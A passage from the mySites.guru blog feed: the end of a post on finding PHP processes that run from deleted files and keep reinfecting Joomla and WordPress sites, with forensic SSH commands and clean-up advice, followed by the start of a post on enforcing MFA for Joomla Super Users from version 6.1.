&lt;p&gt;Put those two facts together and the incident rearranges itself. The live site is connected to mySites.guru and gets audited. The dev copy beside it is connected to nothing, gets no audits, no update alerts and no hack checks, and has been sitting there being forgotten. That is the copy that was compromised, and the process is running out of its document root.&lt;/p&gt;
&lt;p&gt;Sharing a cPanel account means sharing a Unix user, and a Unix user that can write to one document root can write to the other. So a development copy forgotten for a year becomes a fully privileged foothold in the live site, and none of the hardening on the live site applies to it. The attacker did not need to get past anything on production. They went around it.&lt;/p&gt;
&lt;p&gt;This is the most common version of the story, and the one worth taking away even if you never see a resident process. A staging or development copy on the same hosting account is production, in every sense that matters to an attacker. Either connect it and patch it like the real thing, or delete it.&lt;/p&gt;
&lt;p&gt;The final line on the row is the privilege boundary from earlier, working exactly as intended: we cannot tie the process to this site’s own directory, so no Stop button is offered. That is the right call. The process belongs to a different document root, and a tool that stops processes outside the site it was pointed at is a tool that eventually stops the wrong one. Acting on this needs somebody with a view of the whole account, which means SSH or the host.&lt;/p&gt;
&lt;p&gt;One last thing about this site, and it is the argument of this whole post in a single row. A completely separate check, on the same site and the same snapshot, found two rogue SP Page Builder icon-font assets, which is the database residue left by &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;the unauthenticated upload exploit we traced in June&lt;/a&gt;. Neither check knows the other exists. Whether the two are connected is a question for the clean-up rather than something either one can answer on its own, but a site showing both is not a site where one instrument would have been enough.&lt;/p&gt;
&lt;p&gt;Across an account, the all-sites view answers it on one page: &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/residentprocesses&quot;&gt;every Joomla site reporting a resident process&lt;/a&gt;, and &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Wordpress/hacked/residentprocesses&quot;&gt;the same view for WordPress&lt;/a&gt;. This is the version that matters after &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;an extension vulnerability goes public&lt;/a&gt;, when the question is not “is this site affected” but “which of my sites are”. It is also reachable from the command palette by searching for resident processes or reinfection.&lt;/p&gt;
&lt;p&gt;Either route hands you the same thing, which is evidence rather than a verdict. Stopping the process is only the first of four steps, and the order they go in is the part people get wrong.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;If the badge is grey, the honest next step is SSH&lt;/p&gt;&lt;div&gt;&lt;p&gt;On a server that blocks the process list there is nothing mySites.guru can tell you here, and the section below is how you answer the same question yourself in about ten seconds with shell access. If you have no shell access either, your host can run it for you, and the question to ask them is whether any process is running from a deleted file under your account.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/residentprocesses&quot;&gt;Find the process that is rewriting your site&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs twice a day on every connected Joomla, WordPress and generic PHP site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/residentprocesses&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Investigating a hack takes the whole toolkit&lt;/h2&gt;
&lt;p&gt;A resident process is one persistence route out of several, and an attacker who bothered to set one up has usually set up two. Investigating a compromised site is elimination across instruments, not a single lookup: you are asking the same question of the filesystem, the database, the schedulers, the user table and the server’s own running processes, and the answer only means something once all of them have answered.&lt;/p&gt;
&lt;p&gt;That is the real argument for a toolkit rather than a favourite tool. mySites.guru ships 228 distinct checks across 15 groups, 19 of them specifically hacked-site detection, and the hack-hunting ones are spread on purpose across places you would otherwise have to visit one at a time, with a different tool and a different login for each.&lt;/p&gt;
&lt;p&gt;The ones that matter on a reinfection, all running on every connected site, twice a day, without being asked:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-cron-jobs/&quot;&gt;The server’s crontabs&lt;/a&gt;, including the root-owned locations your hosting panel does not show you at all, where the cron rebuilding your site usually lives.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-joomla-scheduled-tasks/&quot;&gt;Joomla’s own scheduler table&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/malicious-wp-cron-events/&quot;&gt;WordPress’s WP-Cron events&lt;/a&gt;, both of which live in the database rather than in any crontab, where a file scanner has no way to reach them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/rogue-super-admin-accounts/&quot;&gt;Rogue and hidden administrator accounts&lt;/a&gt;, so a cleaned site does not just get logged back into, &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;listed across every site at once&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;The files themselves&lt;/a&gt;, through two separate scanners that do different jobs.&lt;/li&gt;
&lt;li&gt;The server’s own running processes, which is this check, and the only one of the set that looks anywhere other than your disk and your database. The &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/&quot;&gt;full hacked-site detection group&lt;/a&gt; lists the rest.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then there is the part that tells you before you go looking. The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;File Watch List&lt;/a&gt; emails you the moment a watched file changes, so a site rewriting &lt;code&gt;index.php&lt;/code&gt; behind your back reaches your inbox rather than waiting for somebody to notice a defacement. On a reinfection that is often the first hard evidence you get, and it arrives while the process is still running and still catchable.&lt;/p&gt;
&lt;p&gt;None of these is clever on its own, and that is the point. What they are is exhaustive and repeatable: they run unattended, across every site you manage at once, and keep running after the afternoon you spent cleaning is over. Doing the same by hand means an SSH session per server, repeated daily, forever, with a different mental checklist each time.&lt;/p&gt;
&lt;p&gt;Treat any single green badge, this one included, as one question answered rather than a site declared clean. The site is clean when the whole set agrees, and a hacked site that has only been checked one way has not really been checked.&lt;/p&gt;
&lt;p&gt;All of it is part of the subscription rather than a paid add-on, and the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; is per site. If you want to see what these checks say about a site you already suspect, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs the full set once without a subscription.&lt;/p&gt;
&lt;h2&gt;How do I check for this myself over SSH?&lt;/h2&gt;
&lt;p&gt;If you have shell access, you can answer this in about ten seconds. These are the two commands worth knowing, and both need reading carefully rather than trusting.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; -l&lt;/span&gt;&lt;span&gt; /proc/&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/exe&lt;/span&gt;&lt;span&gt; 2&amp;gt;&lt;/span&gt;&lt;span&gt;/dev/null&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; grep&lt;/span&gt;&lt;span&gt; deleted&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;lsof&lt;/span&gt;&lt;span&gt; +L1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first lists every running process whose executable has been unlinked, which Linux marks with a literal &lt;code&gt; (deleted)&lt;/code&gt; suffix on the symlink. The second lists open files with a link count of zero, which is the same idea reached from the other direction and often catches more. Swap &lt;code&gt;exe&lt;/code&gt; for &lt;code&gt;cwd&lt;/code&gt; to find processes whose working directory has gone.&lt;/p&gt;
&lt;p&gt;To see what a suspicious process actually is, read its command line and its age:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;cat&lt;/span&gt;&lt;span&gt; /proc/PID/cmdline&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; tr&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;\0&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; -l&lt;/span&gt;&lt;span&gt; /proc/PID/exe&lt;/span&gt;&lt;span&gt; /proc/PID/cwd&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ps&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; pid,ppid,lstart,etimes,comm&lt;/span&gt;&lt;span&gt; -p&lt;/span&gt;&lt;span&gt; PID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fields come from &lt;a href=&quot;https://man7.org/linux/man-pages/man1/ps.1.html&quot;&gt;ps(1)&lt;/a&gt;: &lt;code&gt;lstart&lt;/code&gt; is the full start time and &lt;code&gt;etimes&lt;/code&gt; the elapsed seconds, which is the number you want when deciding whether something has outlived every ordinary request.&lt;/p&gt;
&lt;p&gt;Three caveats, because this is the part where people either miss the thing or panic about the wrong thing. Without root you only see your own processes, which on shared hosting is usually what you want anyway. A parent process ID of 1 means the process was detached and reparented to init, which is normal for a daemon and expected for this kind of malware. And the deleted marker on its own proves nothing: running that first command on a well-maintained server will usually return something, because any long-lived process whose binary was replaced by a package upgrade shows the same marker. On the machine I tested these commands on while writing this, the single hit was a kernel thread, not malware.&lt;/p&gt;
&lt;p&gt;Read the command line before you act. A PHP interpreter running an unnamed script from a directory that no longer exists, detached, started three days ago, is worth stopping. Your own backup daemon is not.&lt;/p&gt;
&lt;h3&gt;When the answer is a support ticket&lt;/h3&gt;
&lt;p&gt;Sometimes you have no route of your own, and that is the normal case rather than the unlucky one. On a properly locked-down shared server PHP cannot read the process list, shell access is disabled or restricted to a jail that shows you nothing useful, and the only party who can answer the question is the host. A hardened server blocks mySites.guru for exactly the same reason it blocks you, and neither of us should have the privilege that would get past it.&lt;/p&gt;
&lt;p&gt;So open a ticket and ask them directly. Hosts often call these orphaned or ghost processes, so use whatever wording gets you understood, but give them the precise check as well, because the phrase on its own means different things to different administrators.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Please could you check the processes running under my hosting account for&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;any that are running from a deleted file. On Linux these show a &quot; (deleted)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;marker:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    ls -l /proc/*/exe 2&amp;gt;/dev/null | grep deleted&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    ls -l /proc/*/cwd 2&amp;gt;/dev/null | grep deleted&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    lsof +L1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;I am investigating a site that keeps reinfecting itself within seconds of&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;the malware being removed, which is the signature of a PHP process still&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;running from a script that has already been deleted from disk.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Please send me the full command line, the parent PID and how long each one&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;has been running BEFORE stopping anything, as that command line is the only&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;evidence left of what the process was.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That last paragraph matters more than the rest of the ticket. A host asked to deal with a suspicious process will very reasonably just kill it, and the moment they do, the command line, the working directory and the script path are gone for good. There is nothing on disk to go back to, so an eager clean-up removes the infection and the only description of it in the same second, which leaves you unable to tell what it was or how it got there.&lt;/p&gt;
&lt;h2&gt;Why restoring a backup does not fix this, and sometimes makes it worse&lt;/h2&gt;
&lt;p&gt;A restore replaces files and database rows. A running process is neither of those, so the restore does not reach it at all. The moment your files are back in place the process rewrites them, and you have spent an hour returning to exactly where you started. Changing every password has the same problem: the process is not logging in, it is already inside, and it keeps writing until it is stopped or the server restarts.&lt;/p&gt;
&lt;p&gt;That much is only wasted effort. Four things make a restore actively worse than leaving the site alone while you think, and they apply to any hacked site rather than just this one.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The backup probably contains the hack.&lt;/strong&gt; A compromise is usually found weeks or months after it happened. On &lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;the WordPress site behind our last set of checks&lt;/a&gt; the earliest marker we could date was five months before anyone noticed, through two rewrites of the malware. Every backup taken in a window like that has the backdoor in it, so “restore last week’s” is often just a slower way of reinstalling the attacker.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It reopens the way in.&lt;/strong&gt; A restore rolls core and every extension back to the versions you were running before, which are the versions with the vulnerability that was exploited. Patching is usually the one part of the clean-up that was definitely working, and a restore undoes it along with the damage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It destroys the evidence.&lt;/strong&gt; This is the cost that shows up later. Modified file timestamps, the files that differ from core, the rogue administrator row, the scheduled task, the correlation between what is on disk and what is in the access log: a restore overwrites all of it in one move. You end up with a site that will be hacked again and nothing left to work out how it was hacked the first time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A database restore re-arms the persistence that lives in the database.&lt;/strong&gt; A malicious &lt;a href=&quot;https://mysites.guru/blog/joomla-scheduled-tasks-backdoor/&quot;&gt;Joomla scheduled task&lt;/a&gt;, a WP-Cron event or a hidden administrator account are rows rather than files, and a restore brings the rows back with everything else. You can clean the filesystem perfectly and hand the attacker their re-entry in the same operation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;None of that makes backups less important. It makes the restore the wrong first instrument for a compromise. Stop what is running, find and close the entry point, then clean, and reach for a backup only to recover content you have actually lost, from a copy you can date to before the compromise rather than one that merely feels old enough.&lt;/p&gt;
&lt;h2&gt;The order matters: stop, unschedule, then clean&lt;/h2&gt;
&lt;p&gt;This is the part people reliably get backwards, and getting it backwards is what turns a twenty-minute clean-up into an afternoon.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Stop the running process first.&lt;/strong&gt; Everything else you do while it is running can be undone by it, usually faster than you can do it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remove whatever restarts it.&lt;/strong&gt; A running process is only half of the persistence. Check &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;every crontab on the server, not just your own&lt;/a&gt;, the CMS’s own scheduler table and any systemd timers, or it comes back on the next run. Malicious schedules and resident processes frequently appear together.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then clean the files.&lt;/strong&gt; With nothing running and nothing scheduled, a deletion finally stays deleted.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then close the entry point.&lt;/strong&gt; A process running from a deleted file is a symptom. Something put it there, and until you find the vulnerable extension or the stolen credential, the same route is open and &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;a second wave is a matter of time&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the other sites on the same account.&lt;/strong&gt; Anything that can start a background process on one site can usually reach the sites beside it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reset OPcache if anything still comes back.&lt;/strong&gt; In the stubborn cases &lt;a href=&quot;https://blog.sucuri.net/2021/12/php-re-infectors-the-malware-that-keeps-on-giving.html&quot;&gt;the compiled copy is cached inside PHP-FPM&lt;/a&gt;, so the code outlives both the file and the process you stopped. Restarting PHP-FPM clears it, and on a host where you cannot do that, ask them to.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you are working through this on a compromised site, the full recovery walkthroughs are here for &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;a hacked Joomla site&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;a hacked WordPress site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If a site is actively being rewritten while you work on it and you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; is a fixed fee of £120 per incident, screened first so you are not charged if it cannot be fixed.&lt;/p&gt;
&lt;p&gt;If you would rather it did not get this far again, connect the sites you manage to mySites.guru and let the checks above run twice a day on all of them. Finding the process that is rewriting a site is a good afternoon’s work once. Having something watch for it on every site you own, without you remembering to, is the part worth paying for.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;Reinfected? Check Every Crontab, Not Just Yours&lt;/a&gt; covers the scheduled-task route to the same symptom, and the three scheduler layers a reinfection hunt has to cover.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-hacks-a-file-scan-cannot-see/&quot;&gt;Five New Checks for WordPress Hacks a File Scan Cannot See&lt;/a&gt; covers the database-resident half of this family, where the persistence is a row rather than a file.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;Hacked Yesterday, Exploited Today&lt;/a&gt; explains why one clean-up is rarely the end of an incident.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/processes-running-deleted-code/&quot;&gt;Processes Running Deleted Code&lt;/a&gt; is the full reference for the check itself, including what a clean result does and does not cover.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2020/09/the-hidden-php-malware-that-reinfects-cleaned-files.html&quot;&gt;The Hidden PHP Malware that Reinfects Cleaned Files&lt;/a&gt; is Sucuri’s 2020 teardown of a real self-deleting reinfector, with the PHP source and the &lt;code&gt;ps&lt;/code&gt; output showing it still running after its file was gone.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2021/12/php-re-infectors-the-malware-that-keeps-on-giving.html&quot;&gt;PHP Re-Infectors: How To Stop PHP Malware That Keeps Coming Back&lt;/a&gt; is the 2021 follow-up, and the source for the OPcache case where the code outlives both the file and the process.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man5/proc_pid_exe.5.html&quot;&gt;proc_pid_exe(5)&lt;/a&gt; in the Linux manual is the primary reference for the &lt;code&gt; (deleted)&lt;/code&gt; marker this whole check reads, and for the permissions needed to read it.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>hacked</category><category>hack detection</category><category>malware</category><category>backdoor</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/processes-running-deleted-code.png" length="0" type="image/png"/></item><item><title>How To Force MFA on Super Users Across Every Joomla Site You Manage</title><link>https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/</link><guid isPermaLink="true">https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/</guid><description>Joomla 6.1 is the first version that lets you require MFA for Super Users. On the 71% of sites still below it, the setting is not reachable at all.</description><pubDate>Tue, 15 Sep 2026 20:39:54 GMT</pubDate><content:encoded>&lt;p&gt;Joomla has had a setting to require Multi-Factor Authentication for a whole user group since 4.2, released in August 2022. Write-ups of it, our own included, told you to add the Super Users group to the list.&lt;/p&gt;
&lt;p&gt;You could not. Until Joomla 6.1.0 shipped on 14 April 2026, the Super Users group was filtered out of that field, so the one group with the power to install extensions, edit template files and create more administrators was the one group the setting would not accept. The option looked available, and selecting it was impossible.&lt;/p&gt;
&lt;p&gt;That is now fixed, which makes this worth doing on any site you manage that is new enough to allow it. Across the Joomla sites mySites.guru monitors, 3.8% of sites on 6.1 or newer enforce MFA for Super Users, and 71% of monitored Joomla sites are still on a version where the field will not offer the group at all. The check behind those figures is &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/force-mfa-for-super-users/&quot;&gt;Force Multi-Factor Authentication For Super Users&lt;/a&gt;, which reads the setting on every connected site twice a day.&lt;/p&gt;
&lt;h2&gt;What changed in Joomla 6.1&lt;/h2&gt;
&lt;p&gt;The setting is &lt;code&gt;forceMFAUserGroups&lt;/code&gt;, a list of user groups whose members must enrol an MFA method before Joomla will let them use the site. From 4.2.0 through 6.0.4 the field in &lt;code&gt;com_users&lt;/code&gt; was declared like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;field&lt;/span&gt;&lt;span&gt; name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;forceMFAUserGroups&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; type&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;usergrouplist&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;       label&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;COM_USERS_CONFIG_FORCEMFAUSERGROUPS_LABEL&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;       checksuperusergroup&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; ... &amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That attribute is read by &lt;code&gt;UsergrouplistField&lt;/code&gt;, which drops any group holding &lt;code&gt;core.admin&lt;/code&gt; from the list of options:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$checkSuperUser &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;$this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getAttribute&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;checksuperusergroup&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;foreach&lt;/span&gt;&lt;span&gt; ($groups &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $group) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    // Don&apos;t list super user groups.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; ($checkSuperUser &lt;/span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; Access&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;checkGroup&lt;/span&gt;&lt;span&gt;($group&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;id, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;core.admin&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        continue&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla’s shipped permissions give &lt;code&gt;core.admin&lt;/code&gt; to group 8, Super Users, so the group never appeared in the dropdown for anyone. &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46248&quot;&gt;Pull request #46248&lt;/a&gt;, merged on 9 January 2026 for the 6.1.0 milestone, removed the attribute, and its own description is blunt about the state of things beforehand: “Its not possible to force or never force MFA for superusers.”&lt;/p&gt;
&lt;p&gt;The restriction lived entirely in the configuration form. Enforcement itself is a plain intersection of the stored group list with the groups the user belongs to, with no test for administrator rights anywhere in it, so the feature always worked on Super Users. What did not work was choosing them.&lt;/p&gt;
&lt;p&gt;The attribute is still on the field in the Joomla 5 branch. Joomla 5 is in bugfix mode, so it is not coming back to 5.x.&lt;/p&gt;
&lt;h2&gt;How do I force MFA on the Joomla Super Users group?&lt;/h2&gt;
&lt;p&gt;There are two answers, and which one you want depends on whether you look after one Joomla site or fifty.&lt;/p&gt;
&lt;h3&gt;Across your whole portfolio, in mySites.guru&lt;/h3&gt;
&lt;p&gt;The check is Force Multi-Factor Authentication For Super Users, and it has an all-sites view: one page listing every connected Joomla site eligible for it, each row showing whether that site currently enforces MFA on Super Users. Every row has a toggle. Flip it and mySites.guru adds the Super Users group to &lt;code&gt;forceMFAUserGroups&lt;/code&gt; on that site for you, so there is no administrator login, no password manager round trip and no tab per client.&lt;/p&gt;
&lt;p&gt;Toggling it back off removes only the Super Users group and leaves any other groups you have enforced in place, which matters on sites where somebody has already set up MFA for Administrator or Manager.&lt;/p&gt;
&lt;p&gt;The same page is the audit. Sites that already enforce it read as fine, sites that do not are the queue, and the twice-daily snapshot keeps both current, so next month’s answer is the same page rather than another sweep. If your sites are not connected yet, a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; is the quickest way to see which of them are exposed here.&lt;/p&gt;
&lt;h3&gt;On a single site, by hand&lt;/h3&gt;
&lt;p&gt;On a Joomla 6.1 or newer site:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to &lt;code&gt;https://yoursite.com/administrator&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Go to Users, then Manage, then Options at the top right.&lt;/li&gt;
&lt;li&gt;Open the Multi-factor Authentication tab.&lt;/li&gt;
&lt;li&gt;Add Super Users to the field labelled &lt;strong&gt;Enforce Multi-factor Authentication&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Save.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The requirement attaches to the group, so a Super User account created next year inherits it without anyone going back. The field directly above it, Disable Multi-factor Authentication, is the opposite list, and enforcement wins where a group somehow appears in both.&lt;/p&gt;
&lt;p&gt;Either route leaves the same step outstanding, and it is the one most instructions skip: log in as each existing Super User and enrol them there and then, saving the backup codes at that moment. Saving the setting only schedules the work.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Super Users, not Super Admins&lt;/p&gt;&lt;div&gt;&lt;p&gt;Joomla’s group is called Super Users. “Super Admin” is the phrase everyone reaches for in conversation, and going by search results it is mostly the phrase people use once a site has already been compromised.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why did so few Joomla sites force MFA before 6.1?&lt;/h2&gt;
&lt;p&gt;Because they could not. The usual explanation for low adoption of an optional security setting is apathy, and this one was measuring something else entirely.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3.8%&lt;/div&gt;&lt;div&gt;of monitored Joomla 6.1+ sites enforce MFA for Super Users&lt;/div&gt;&lt;div&gt;the option has existed there since April 2026&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;0.1%&lt;/div&gt;&lt;div&gt;of Joomla 4.2 to 6.0 sites have it set&lt;/div&gt;&lt;div&gt;not reachable through the admin interface&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;71%&lt;/div&gt;&lt;div&gt;of monitored Joomla sites are on a version that cannot&lt;/div&gt;&lt;div&gt;mostly Joomla 5&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Latest snapshot per site, 90-day window, across the Joomla sites mySites.guru monitors.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The 0.1% is the interesting residue: sites where the Super Users group reached that parameter through a database edit or a migrated configuration, and where Joomla duly enforces it, holding a setting their own administrator screen would never have offered them. It is fragile in a way worth knowing about, too. The next time anyone opens that options tab and saves, the field re-renders without the group and drops it again, with no warning that a security control just came off.&lt;/p&gt;
&lt;p&gt;None of that changes what the accounts themselves look like. On 93.4% of monitored Joomla 6.1+ sites there is at least one Super User with no MFA method enrolled, and across all monitored Joomla sites it is 95.8%. Full administrative control, and a password is the only thing in front of it.&lt;/p&gt;
